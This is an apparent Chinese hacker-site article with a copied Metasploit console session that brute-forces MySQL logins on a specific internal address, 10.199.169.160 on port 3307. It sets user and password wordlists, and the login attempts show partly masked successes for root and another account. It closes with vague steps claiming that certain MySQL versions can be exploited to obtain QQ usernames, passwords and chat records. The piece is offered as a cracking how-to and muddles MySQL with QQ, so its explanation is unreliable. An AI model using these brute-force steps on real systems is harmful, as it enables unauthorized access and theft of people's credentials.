您现在的位置: 主页 > 华夏黑客联盟 > QQ密码破解 > 文章内容

黑客破解Mysql用户名和QQ密码的原理

作者: QQ黑客 来源:未知 时间: 2015-08-20 阅读:
使用黑客技术利用Metasploit来破解Mysql用户名和密码,其原理就是用user\txt和pass.txt2个文本去不停进行交叉验证,详细的程序源如下:
msf auxiliary(mysql_login) > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options Module options (auxiliary/scanner/mysql/mysql_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE /home/pass.txt no File containing passwords, one per line Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.199.169.160 yes The target address range or CIDR identifier RPORT 3307 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 5 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE /home/user.txt no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(mysql_login) > set PASS_FILE '' PASS_FILE => msf auxiliary(mysql_login) > set USER_FILE '' USER_FILE => msf auxiliary(mysql_login) > set RPORT '' RPORT => msf auxiliary(mysql_login) > set RHOSTS '' RHOSTS => msf auxiliary(mysql_login) > use auxiliary/scanner/mysql/mysql_login msf auxiliary(mysql_login) > show options Module options (auxiliary/scanner/mysql/mysql_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target address range or CIDR identifier RPORT yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 5 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(mysql_login) > set RHOSTS 10.199.169.160 RHOSTS => 10.199.169.160 msf auxiliary(mysql_login) > set RPORT 3307 RPORT => 3307 msf auxiliary(mysql_login) > set USER_FILE /home/user.txt USER_FILE => /home/user.txt msf auxiliary(mysql_login) > set PASS_FILE /home/pass.txt PASS_FILE => /home/pass.txt msf auxiliary(mysql_login) > msf auxiliary(mysql_login) > exploit [*] 10.199.169.160:3307 MYSQL - Found remote MySQL version 5.5.31 [-] 10.199.169.160:3307 MYSQL - LOGIN FAILED: tms:root (Incorrect: Access denied for user 'tms'@'192.168.132.113' (using password: YES)) [-] 10.199.169.160:3307 MYSQL - LOGIN FAILED: tms:vipshop (Incorrect: Access denied for user 'tms'@'192.168.132.113' (using password: YES)) [-] 10.199.169.160:3307 MYSQL - LOGIN FAILED: tms:vipshop!@# (Incorrect: Access denied for user 'tms'@'192.168.132.113' (using password: YES)) [-] 10.199.169.160:3307 MYSQL - LOGIN FAILED: tms:cdtms (Incorrect: Access denied for user 'tms'@'192.168.132.113' (using password: YES)) [-] 10.199.169.160:3307 MYSQL - LOGIN FAILED: root:root (Incorrect: Access denied for user 'root'@'192.168.132.113' (using password: YES)) [+] 10.199.169.160:3307 MYSQL - Success: 'root:vi****p' [-] 10.199.169.160:3307 MYSQL - LOGIN FAILED: cdtms:root (Incorrect: Access denied for user 'cdtms'@'192.168.132.113' (using password: YES)) [-] 10.199.169.160:3307 MYSQL - LOGIN FAILED: cdtms:vipshop (Incorrect: Access denied for user 'cdtms'@'192.168.132.113' (using password: YES)) [-] 10.199.169.160:3307 MYSQL - LOGIN FAILED: cdtms:vipshop!@# (Incorrect: Access denied for user 'cdtms'@'192.168.132.113' (using password: YES)) [+] 10.199.169.160:3307 MYSQL - Success: 'cdt**s:cdt**s' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed。

还有如果针对一些特定的Mysq版本的话,也能够采取一些特定的黑客技术手段,可以抓住Mysql的漏洞,具体做法为:破解QQ聊天记录
1、可以使用得到的一个Mysql为5.1.61,5.2.11,5.3.5,5.5.22数据库进行获取mysqlversion。
2、需要能配置Myaql的IP和端口就可以得到exploit了,在实际中往往有IP就足够了多有端口开放的服务都能进行扫描得到了。
3、这样就能轻松获得了想要的用户名和QQ密码。